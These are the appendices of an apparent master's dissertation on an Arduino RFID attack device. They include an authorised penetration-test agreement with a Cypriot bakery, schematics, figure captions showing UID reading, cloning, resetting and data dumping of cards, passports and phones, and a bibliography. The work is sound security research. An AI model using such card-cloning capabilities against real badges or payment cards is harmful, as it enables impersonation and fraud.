19 Certaintypesofresearchrequireethicsapprovalfromanationallyrecognisedresearchethicscommittee(REC)whichoperatestostandardssetoutbytheDepartmentofHealth’sGovernanceArrangementsforResearchEthicsCommittees.Recognisedresearchethicscommittees(REC)includeNHSRECsandtheMoDREC.Doesyourresearchinvolveanyofthefollowing?(selectallthatapply)
Noneoftheabove
20 HaveyouselectedanyoftheoptionsbetweenA-Ofromquestion19?
NO
21 Doesyourprojectrequireethicsreviewfromanotherinstitution?
NO
28 Declarations *IconfirmthatIhavereadtheUniversity’sCodeonGoodResearchPracticeandethicspolicyandall
8/9
relevantprofessionalandregulatoryguidelinesapplicabletomyresearchandthatIwillconductmyresearchinaccordancewiththese.IconfirmthatIhaveprovidedaccurateandcompleteinformationregardingmyresearchprojectIunderstandthatafalsedeclarationorprovidingmisleadinginformationwillbeconsideredpotentialresearchmisconductresultinginaformalinvestigationandsubsequentdisciplinaryproceedingsliableforreportingtoexternalbodiesIunderstandthatifmyanswerstothisformhaveindicatedthatImustsubmitanethicsandgovernanceapplication,thatIwillNOTcommencemyresearchuntilaFavourableEthicalOpinionisissuedandgovernancechecksarecleared.IfIdoso,thiswillbeconsideredresearchmisconductandresultinaformalinvestigationandsubsequentdisciplinaryproceedingsliableforreportingtoexternalbodies.Iunderstandthatifanyofmyresponsestothegovernancequestionshaverequestedadditionaldocuments,thatthesewillbeprovidedwithmyethicsandgovernanceapplicationifmyprojectistoproceed.IunderstandthatifIhaveselectedanyoptionsfromQu22-27IMUSTsubmitanethicsandgovernanceapplication(EGA)forreviewinordertoproceedwiththisresearchprojectUNLESSIamanundergraduateorMastersstudent,inwhichcaseIhavecompletedQu29below.
9/9
29 IfIamconductingresearchasastudent:
IconfirmthatifIamhandlinganyinformationthatcanidentifypeople,suchasnames,emailaddressesoraudio/videorecordingsandimages,Iwilladheretothesecurityrequirementssetoutinthe‘DataProtectionandSecurityforUndergraduateandPostgraduateTaughtStudents'Projects’.
Appendix B
Kosmos Bakeries Penetration Testing
Agreement
On the next page the agreement document can be found along with a Scanned Document of the
signed agreement.
It must be noted that both parties have consented to this Penetration Testing and it is done
mainly to test the implementation of this Dissertation but to also expose vulnerabilities in the
hardware and procedures in the mentioned company.
112
Penetration Testing AgreementBetween Stylianos Kiliaris and Kosmos Bakeries LTD.
It is hereby agreed on the 5th January 2020,
That Stylianos Kiliaris, attending the University of Surrey with URN: 6438770, under the Information Security Masters Programme, and as a part of his Masters Dissertation, is permitted by Kosmos Bakeries LTD, with company number HE320483 to perform Penetration Testing duties on our automated coffee-making venting machine, using his developed solution, for the entirety of his Dissertation length.
The vulnerabilities and ways of exploitation will be documented so that we can change our processes in order to avoid exploitation or to patch the vulnerabilities found.
Full permission is given to test the above machine as long as a prior notice of at least 24-hours is given so that the tests are conducted ethically and the payment system is disabled prior to testing.
Once the final implementation is ready to hack/exploit the machine, with a guarantee that no payment over €10.00 will be bypassed, then a 1-month penetration period will be granted for Stylianos to perform the penetration test realistically, with full permission to copy/emulate/impersonate staff ID cards.
Kosmos Bakeries LTD,78 Kantaras, Strovolos,Nicosia, Cyprus+357 22 255938 Constantinos Kiliaris,kosmosbakery.com/ Director
Appendix C
Arduino Component Schematics
Find the detailed Arduino Component Schematic of all parts and connections used in imple-
menting the various parts of this Implementation, as well as the complete schematic at the
end.
C.1 LCD & Button Schematic
Figure C.1: Schematic for Implementing the Navigation Menu
115
C.2 RC522 HF RFID Module Schematic
Figure C.2: Schematic for Implementing all HF Attacks
116
Appendix D
HF-Read UID - Functionality Testing
On the next pages find attached the Figures showing the results of validating that the above
functionality performs as expected.
(a) HF-Read UID Option
Figure D.1: Selecting the HF-Read UID option
117
(a) 13.56MHz output
Figure D.2: Output of Reading 13.56MHz Card
(a) Serial Monitor output
Figure D.3: Serial Monitor of Reading 13.56MHz Card
(a) 7 byte UID
Figure D.4: Output of Reading 7-byte UID Card
118
(a) 10 Band Reader - 13.56MHz
Figure D.5: Validating Output using 10 Band RFID Reader
(a) 13.56MHz Tag
Figure D.6: Reading 13.56MHz Tag
119
(a) Contactless Credit Card
Figure D.7: Reading Contactless Credit Card
(a) Electronic Passport
Figure D.8: Reading Electronic Passport
120
(a) iPhone
Figure D.9: Reading iPhone
(a) Android
Figure D.10: Reading Android
121
Appendix E
HF-Clone UID - Functionality Testing
On the next pages find attached the Figures showing the results of validating that the above
functionality performs as expected.
(a) Present Source
Figure E.1: LCD output of Presenting the Source HF tag
122
(a) Present Destination
Figure E.2: LCD output of Presenting the Destination HF tag
(a) Clone Failed
Figure E.3: LCD output of Failed Cloning
123
(a) Clone Success
Figure E.4: LCD output of Successful Cloning
(a) Incompatible PICC
Figure E.5: LCD output of Incompatible RFID tag type
124
(a) Serial Success
Figure E.6: Serial Monitor output of Successful Copy
(a) Serial Failed
Figure E.7: Serial Monitor output of Failed Copy
(a) Serial Incompatible
Figure E.8: Serial Monitor output of Incompatible RFID tag type
125
(a) Verification of UID Source
Figure E.9: Multi-Reader UID output of Source HF tag
(a) Verification of UID Destination
Figure E.10: Multi-Reader UID output of Destination HF tag
126
Appendix F
HF-Reset MC - Functionality Testing
On the next pages find attached the Figures showing the results of validating that the above
functionality performs as expected.
(a) Reset Warning
Figure F.1: LCD output of Reset Warning
127
(a) Reset Waiting Prompt
Figure F.2: LCD output of Reset Waiting Prompt
(a) Reset Waiting and Warning Prompt - Serial Monitor
Figure F.3: Serial Monitor output of Reset Waiting and Warning Prompt
128
(a) Reading UID of manually set Tag
Figure F.4: Manual UID set to 11 11 11 11 confirmed
(a) Resetting UID of manually set Tag
Figure F.5: Resetting Sector 0 Block successful
129
(a) Reading UID of reset Tag
Figure F.6: Resetting of UID set to 04 03 02 01 confirmed
130
Appendix G
HF-DumpInfo - Functionality Testing
On the next pages find attached the Figures showing the results of validating that the above
functionality performs as expected.
(a) Connect To PC Prompt
Figure G.1: Connect to PC User Prompt
131
(a) Output on PC
Figure G.2: Output to PC Serial Monitor Prompt
(a) Present HF
Figure G.3: Present HF Tag Prompt
132
(a) Serial Monitor Ready
Figure G.4: Serial Monitor Ready for Input Prompt
(a) Serial Monitor Data Dump
Figure G.5: Serial Monitor Data Dump - All Sectors
133
Appendix H
COVID-19 Impact - Proof Documents
On the next pages find attached the Figures showing the various proof provided on the impact
that COVID-19 had on this Dissertation and implementing the LF functionalities
H.1 Tenancy Agreement
Under this section, find attached the tenancy agreement renewal indicating that my flat lease
was to expire in July 2020. Please note that any personal or sensitive information regarding
both parties has been redacted.
134
H.2 Lockdown - Suspension of all non-essential shops
As shown under this In-Cyprus (Koumettou 2020) article snippet shown under Figure H.1, the
lockdown in Cyprus has mandated that all non-essential shops cease their business, including
delivery.
H.3 Lockdown - Suspension of Cyprus Post
As shown under this In-Cyprus (Koumettou 2020) article snippet shown under Figure H.2, the
Cyprus Post has stopped operating as early as the beginning of March 2020. It stopped accepting
packages from many countries, including the UK and the US. When it finally opened such a
huge backlog was created that even if a package had managed to arrive to Cyprus, it would take
months to be delivered.
H.4 Overseas Shipping Delays
As shown under this Amazon snippet shown under Figure H.3, the estimated shipping time
would be so that it would be completely unfeasible to fabricate the LF antenna, code the
implementations, experiment, test and implement the solutions.
(a) In-Cyprus Article
Figure H.1: In-Cyprus Lockdown Article
136
(a) In-Cyprus Article
Figure H.2: In-Cyprus Cyprus Post closure Article
(a) Amazon Listing
Figure H.3: Amazon Listing & Estimated Shipping
137
Bibliography
arduino uno rev3 | arduino official store (n.d.), https://store.arduino.cc/usa/
arduino-uno-rev3. Accessed: 2020-01-09.
Bhuptani, M. & Moradpour, S. (2005), RFID Field Guide: Deploying Radio Frequency Identifi-
cation Systems, Prentice Hall PTR, USA.
ELEGOO R3 Board ATmega328P ATMEGA16U2 with USB Ca-
ble - ELEGOO Inc (n.d.), https://www.elegoo.com/product/
elegoo-uno-r3-board-atmega328p-atmega16u2-with-usb-cable/. Accessed: 2020-01-
24.
Francillon, A., Danev, B. & Capkun, S. (2010), ‘Relay attacks on passive keyless entry and start
systems in modern cars’, IACR Cryptology ePrint Archive 2010, 332.
Fu, Y., Zhang, C. & Wang, J. (2010), A research on denial of service attack in passive rfid sys-
tem, in ‘2010 International Conference on Anti-Counterfeiting, Security and Identification’,
pp. 24–28.
Garcia, F. D., Oswald, D., Kasper, T. & Pavlidès, P. (2016), Lock it and still lose it —on the
(in)security of automotive remote keyless entry systems, in ‘25th USENIX Security Sym-
posium (USENIX Security 16)’, USENIX Association, Austin, TX.
URL: https://www.usenix.org/conference/usenixsecurity16/technical-sessions/
presentation/garcia
Garcia, F., de Koning Gans, G. & Verdult, R. (2014), ‘Wirelessly lockpicking a smart card
reader’, International Journal of Information Security 13(5), 403–420.
Garcia, F., Gans, G., Muijrers, R., van Rossum, P., Verdult, R., Schreur, R. & Jacobs, B. (2008),
Dismantling mifare classic, Vol. 5283, pp. 97–114.
138
Hadjioannou, B. (2020), ‘Coronavirus: Post office suspends post to a number of countries.’.
URL: https://in-cyprus.philenews.com/coronavirus-post-office-suspends-post-to-a-number-of-countries/
Hancke, G. P. & Kuhn, M. G. (2005), An rfid distance bounding protocol, in ‘First International
Conference on Security and Privacy for Emerging Areas in Communications Networks (SE-
CURECOMM’05)’, pp. 67–73.
High Frequency (HF) RFID Tags & Systems (2018).
URL: https://www.everythingrf.com/community/high-frequency-hf-rfid-tags-systems
Hutter, M., Schmidt, J. & Plos, T. (2009), Contact-based fault injections and power analysis on
rfid tags, in ‘2009 European Conference on Circuit Theory and Design’, pp. 409–412.
IEEE Recommended Practice for Software Requirements Specifications (1998), IEEE Std 830-
1998 pp. 1–40.
Koumettou, J. (2020), ‘Coronavirus: Which businesses will close and which will remain open
under lockdown.’.
URL: https://in-cyprus.philenews.com/coronavirus-which-businesses-will-close-and-which-will-remain-open-under-lockdown/
Landt, J. (2005), ‘The history of rfid’, IEEE Potentials 24(4), 8–11.
Low Frequency (LF) RFID Tags & Systems (2018).
URL: https://www.everythingrf.com/community/low-frequency-lf-rfid-tags
Nikitin, P. V. & Rao, K. V. S. (2006), Performance limitations of passive uhf rfid systems, in
‘2006 IEEE Antennas and Propagation Society International Symposium’, pp. 1011–1014.
Proxmark 3 RDV4 | Proxmark (n.d.), https://proxmark.com/proxmark-3-hardware/
proxmark-3-rdv4. Accessed: 2020-01-24.
RC522 RFID Module Pinout, Features, Specs & How to Use It (n.d.), https://components101.
com/wireless/rc522-rfid-module. Accessed: 2020-01-09.
RFID FAQs - Barcoding Inc. (n.d.).
URL: https://www.barcoding.com/resources/frequently-asked-questions-faq/
rfid-faqs/
139
Singh, M., Leu, P. & Capkun, S. (2019), Uwb with pulse reordering:securing ranging against
relay and physical-layer attacks, in ‘Proceedings of the 26th Annual Network and Dis-
tributed System Security Symposium’, Internet Society, Reston, VA, p. 06B2. 26th Annual
Network and Distributed System Security Symposium (NDSS 2019); Conference Location:
San Diego, CA, USA; Conference Date: February 24-27, 2019.
Want, R. (2006), ‘An introduction to rfid technology’, IEEE Pervasive Computing 5(1), 25–33.
Weinstein, R. (2005), ‘Rfid: a technical overview and its application to the enterprise’, IT
Professional 7(3), 27–33.
140
